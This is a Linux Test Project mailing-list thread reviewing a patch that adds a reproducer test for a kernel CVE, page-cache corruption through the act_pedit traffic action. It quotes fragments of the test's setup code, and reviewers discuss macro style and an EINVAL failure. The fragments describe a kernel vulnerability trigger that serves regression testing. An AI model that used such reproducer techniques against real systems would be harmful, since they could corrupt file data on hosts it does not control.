* Re: [LTP] [PATCH v3 4/4] cve: Add act_pedit page-cache corruption test 2026-07-07 13:42 ` [LTP] [PATCH v3 4/4] cve: Add act_pedit page-cache corruption test Andrea Cervesato @ 2026-07-07 14:23 ` Cyril Hrubis 2026-07-08 11:41 ` Petr Vorel 0 siblings, 1 reply; 12+ messages in thread From: Cyril Hrubis @ 2026-07-07 14:23 UTC (permalink / raw) To: Andrea Cervesato; +Cc: Linux Test Project Hi! > +static void run(void) > +{ > + struct sockaddr_in addr; > + uint8_t readback[DATA_SIZE]; > + off_t off = 0; > + int wr_fd; > + > + wr_fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT, 0444); > + SAFE_WRITE(SAFE_WRITE_ALL, wr_fd, original, DATA_SIZE); > + SAFE_CLOSE(wr_fd); > + > + file_fd = SAFE_OPEN(TESTFILE, O_RDONLY); > + > + /* > + * Clean-slate clsact qdisc so no filter is active during the > + * TCP handshake (the IHL-inflating key would corrupt SYN/ACK). > + */ > + tst_netdev_remove_qdisc(__FILE__, __LINE__, 0, > + "lo", AF_UNSPEC, TC_H_CLSACT, > + TC_H_MAKE(TC_H_CLSACT, 0), "clsact"); This is a bit ugly. I guess that we need to add a variant for the macro that would set the strict to 0 into tst_netdevice.h possibly NETDEV_MAY_REMOVE_QDISC(). For the rest (including the preparatory patches): Reviewed-by: Cyril Hrubis <chrubis@suse.cz> -- Cyril Hrubis chrubis@suse.cz -- Mailing list info: https://lists.linux.it/listinfo/ltp ^ permalink raw reply [flat|nested] 12+ messages in thread
* Re: [LTP] [PATCH v3 4/4] cve: Add act_pedit page-cache corruption test 2026-07-07 14:23 ` Cyril Hrubis @ 2026-07-08 11:41 ` Petr Vorel 2026-07-13 12:34 ` Andrea Cervesato via ltp 0 siblings, 1 reply; 12+ messages in thread From: Petr Vorel @ 2026-07-08 11:41 UTC (permalink / raw) To: Cyril Hrubis; +Cc: Linux Test Project > Hi! > > +static void run(void) > > +{ > > + struct sockaddr_in addr; > > + uint8_t readback[DATA_SIZE]; > > + off_t off = 0; > > + int wr_fd; > > + > > + wr_fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT, 0444); > > + SAFE_WRITE(SAFE_WRITE_ALL, wr_fd, original, DATA_SIZE); > > + SAFE_CLOSE(wr_fd); > > + > > + file_fd = SAFE_OPEN(TESTFILE, O_RDONLY); > > + > > + /* > > + * Clean-slate clsact qdisc so no filter is active during the > > + * TCP handshake (the IHL-inflating key would corrupt SYN/ACK). > > + */ > > + tst_netdev_remove_qdisc(__FILE__, __LINE__, 0, > > + "lo", AF_UNSPEC, TC_H_CLSACT, > > + TC_H_MAKE(TC_H_CLSACT, 0), "clsact"); > This is a bit ugly. I guess that we need to add a variant for the macro > that would set the strict to 0 into tst_netdevice.h possibly NETDEV_MAY_REMOVE_QDISC(). +1 BTW here I get error on all VMs I tested (wide range of kernel old and new and different distros): > /* Arm the pedit filter AFTER the handshake completes */ > NETDEV_ADD_TRAFFIC_FILTER("lo", > TC_H_MAKE(TC_H_CLSACT, TC_H_MIN_EGRESS), > 0, ETH_P_ALL, 1, "matchall", > filter_config); cve-2026-46331.c:198: TBROK: Failed to modify traffic filter: EINVAL Leading to modify_address() in lib/tst_netdevice.c ret = tst_netlink_send_validate(file, lineno, ctx); tst_netlink_destroy_context(file, lineno, ctx); if (strict && !ret) { tst_brk_(file, lineno, TBROK, "Failed to modify %s network address: %s", ifname, tst_strerrno(tst_netlink_errno)); } Any idea what's wrong? Kind regards, Petr > For the rest (including the preparatory patches): > Reviewed-by: Cyril Hrubis <chrubis@suse.cz> -- Mailing list info: https://lists.linux.it/listinfo/ltp ^ permalink raw reply [flat|nested] 12+ messages in thread
* Re: [LTP] [PATCH v3 4/4] cve: Add act_pedit page-cache corruption test 2026-07-08 11:41 ` Petr Vorel @ 2026-07-13 12:34 ` Andrea Cervesato via ltp 0 siblings, 0 replies; 12+ messages in thread From: Andrea Cervesato via ltp @ 2026-07-13 12:34 UTC (permalink / raw) To: Petr Vorel; +Cc: Linux Test Project Hi Petr, > cve-2026-46331.c:198: TBROK: Failed to modify traffic filter: EINVAL I think it's caused by the wrong enum fallback. I'm going to send a v4. Let me know if it's fixed then. -- Andrea Cervesato SUSE QE Automation Engineer Linux andrea.cervesato@suse.com -- Mailing list info: https://lists.linux.it/listinfo/ltp ^ permalink raw reply [flat|nested] 12+ messages in thread
end of thread, other threads:[~2026-07-13 12:34 UTC | newest] Thread overview: 12+ messages (download: mbox.gz follow: Atom feed -- links below jump to the message on this page -- 2026-07-07 13:42 [LTP] [PATCH v3 0/4] Reproducer for cve-2026-46331 Andrea Cervesato 2026-07-07 13:42 ` [LTP] [PATCH v3 1/4] lapi: Add pkt_cls.h fallback Andrea Cervesato 2026-07-07 14:28 ` [LTP] " linuxtestproject.agent 2026-07-07 14:53 ` Cyril Hrubis 2026-07-08 11:48 ` [LTP] [PATCH v3 1/4] " Petr Vorel 2026-07-07 13:42 ` [LTP] [PATCH v3 2/4] lapi: Add pkt_sched.h fallback Andrea Cervesato 2026-07-08 13:31 ` Petr Vorel 2026-07-07 13:42 ` [LTP] [PATCH v3 3/4] lapi: Add tc_pedit.h fallback Andrea Cervesato 2026-07-07 13:42 ` [LTP] [PATCH v3 4/4] cve: Add act_pedit page-cache corruption test Andrea Cervesato 2026-07-07 14:23 ` Cyril Hrubis 2026-07-08 11:41 ` Petr Vorel 2026-07-13 12:34 ` Andrea Cervesato via ltp
This is a public inbox, see mirroring instructions for how to clone and mirror all data and code used for this inbox